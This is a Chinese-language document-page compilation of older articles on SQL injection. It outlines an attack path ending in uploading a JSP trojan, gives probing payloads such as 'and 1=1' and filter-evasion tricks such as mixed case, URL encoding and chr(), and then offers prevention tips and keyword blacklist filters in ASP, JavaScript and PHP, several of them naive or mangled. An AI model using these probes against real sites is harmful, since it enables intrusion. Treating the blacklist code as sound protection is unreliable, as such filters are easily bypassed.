sql注入过程详解 SQL注入攻击的总体思路是: 1.发现SQL注入位置; 2.判断后台数据库类型; 3.确定XP_CMDSHELL可执行情况 4.发现WEB虚拟目录 5. 上传JSP木马; 6.得到管理员权限; 一、SQL注入漏洞的判断 一般来说,SQL注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.jsp?id=XX等带有参数的jsp或者动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。如果程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就非常大。 为了全面了解动态网页回答的信息,首选请调整IE的配置。把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。 为了把问题说明清楚,以下以HTTP://xxx.xxx.xxx/abc.jsp?p=YY为例进行分析,YY可能是整型,也有可能是字符串。 1、整型参数的判断 当输入的参数YY为整型时,通常abc.jsp中SQL语句原貌大致如下: select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。 ①HTTP://xxx.xxx.xxx/abc.jsp?p=YY’(附加一个单引号),此时abc.JSP中的SQL语句变成了 select * from 表名 where 字段=YY’,abc.jsp运行异常; ②HTTP://xxx.xxx.xxx/abc.jsp?p=YY and 1=1, abc.jsp运行正常,而且与HTTP://xxx.xxx.xxx/abc.jsp?p=YY运行结果相同; ③HTTP://xxx.xxx.xxx/abc.jsp?p=YY and 1=2, abc.jsp运行异常; 如果以上三步全面满足,abc.jsp中一定存在SQL注入漏洞。 2、特殊情况的处理 有时JSP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。 ①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等; ②UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一; ③ASCII码法:可以把输入的部分或全部字符全部用ASCII码代替,如U=chr(85),a=chr(97)等,ASCII信息参见附二;二、区分数据库服务器类型

防止sql注入

如何防止SQL注入 归纳一下,主要有以下几点: 1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。 4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装 防止SQL注入攻击的一些方法2010-03-15 17:58SQL注入被那些菜鸟级别的所谓黑客高手玩出了滋味,发现现在大部分黑客入侵都是基于sql注入实现的,哎,谁让这个入门容易呢,好了,不说废话了,现在我开始说如何编写通用的sql防注入程序。 一般的http请求不外乎get 和post,所以只要我们在文件中过滤所有post或者get请求中的参数信息中非法字符即可,所以我们实现http请求信息过滤就可以判断是是否受到sql 注入攻击。 iis传递给asp.dll的get请求是是以字符串的形式,当传递给Request.QueryString数据后,asp解析器会分析Request.QueryString的信息,然后根据"&",分出各个数组内的数据。 所以get的拦截如下,首先我们定义请求中不能包含如下字符: '|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare 各个字符用"|"隔开,然后我们判断的得到的Request.QueryString。具体代码如下: dim sql_injdata SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare" SQL_inj = split(SQL_Injdata,"|") If Request.QueryString<>"" Then For Each SQL_Get In Request.QueryString For SQL_Data=0 To Ubound(SQL_inj) if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DA TA))>0 Then Response.Write "" Response.end end if next Next End If 这样我们就实现了get请求的注入的拦截,但是我们还要过滤post请求,所以我们还得继续考虑request.form,这个也是以数组形式存在的,我们只需要再进一次循环判断即可。 代码如下 If Request.Form<>"" Then For Each Sql_Post In Request.Form For SQL_Data=0 To Ubound(SQL_inj) if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DA TA))>0 Then Response.Write "" Response.end end if next next

SQL注入原理

sql注入攻击原理及攻防 2008-01-14 20:11 6529人阅读评论(16) 收藏举报随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。 SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。 但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。 根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go... 入门篇 如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。 第一节、SQL注入原理 以下我们从一个网站https://www.doczj.com/doc/9d15668273.html,开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。

JS代码防止SQL注入的方法(超简单)

下面通过两个方面给大家介绍js代码防止sql注入的方法,非常简单实用,感兴趣的朋友参考下吧 1.URL地址防注入: //过滤URL非法SQL字符 var sUrl=location.search.toLowerCase(); var sQuery=sUrl.substring(sUrl.indexOf("=")+1); re=/select|update|delete|truncate|join|union|exec|insert|drop|count|'|"|;|>|<|%/i; if(re.test(sQuery)) { alert("请勿输入非法字符"); location.href=sUrl.replace(sQuery,""); } 2.输入文本框防注入: /防止SQL注入 function AntiSqlValid(oField ) { re= /select|update|delete|exec|count|'|"|=|;|>|<|%/i; if ( re.test(oField.value) ) { //alert("请您不要在参数中输入特殊字符和SQL关键字!"); //注意中文乱码 oField.value = "; oField.className="errInfo"; oField.focus(); return false; } 在需要防注入的输入文本框添加如下方法 txtName.Attributes.Add("onblur", "AntiSqlValid(this)");//防止Sql脚本注入 关于JS代码防止SQL注入的方法小编就给大家介绍这么多,希望对大家有所帮助!

SQL注入原理,只懂的扫描的菜鸟必看

SQL注入原理 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。 但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。 根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解 ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go... 入门篇 如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。 第一节、SQL注入原理 以下我们从一个网站https://www.doczj.com/doc/9d15668273.html,开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。 在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.mytest. com/showdetail.asp?id=49,我们在这个地址后面加上单引号?,服务器会返回下面的错误提示: Microsoft JET Database Engine 错误 '80040e14' 字符串的语法错误在查询表达式 'ID=49'' 中。 /showdetail.asp,行8 从这个错误提示我们能看出下面几点: 1. 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。 2. 程序没有判断客户端提交的数据是否符合程序要求。 3. 该SQL语句所查询的表中有一名为ID的字段。 从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。

最全防止sql注入方法

(1)mysql_real_escape_string -- 转义SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 使用方法如下: 1.$sql ="select count(*) as ctr from users where username 2.='".mysql_real_escape_string($username)."' and 3.password='". mysql_real_escape_string($pw)."' limit 1"; 使用mysql_real_escape_string()作为用户输入的包装器,就可以避免用户输入中的任何恶意SQL 注入。 (2)打开magic_quotes_gpc来防止SQL注入 php.ini中有一个设置:magic_quotes_gpc = Off 这个默认是关闭的,如果它打开后将自动把用户提交对sql的查询进行转换, 比如把' 转为\'等,对于防止sql注射有重大作用。 如果magic_quotes_gpc=Off,则使用addslashes()函数 (3)自定义函数 1.function inject_check($sql_str){ 2.return eregi('select|insert|and|or|update|delete|\'|\/\*|\*|\.\.\/|\.\/| union|into|load_file|outfile', $sql_str); 3.} 4. 5.function verify_id($id=null){ 6.if(!$id){ 7.exit('没有提交参数!'); 8.} elseif(inject_check($id)){ 9.exit('提交的参数非法!'); 10.} elseif(!is_numeric($id)){ 11.exit('提交的参数非法!'); 12.} 13. $id = intval($id); 14. 15.return $id;

相关主题
文本预览
相关文档 最新文档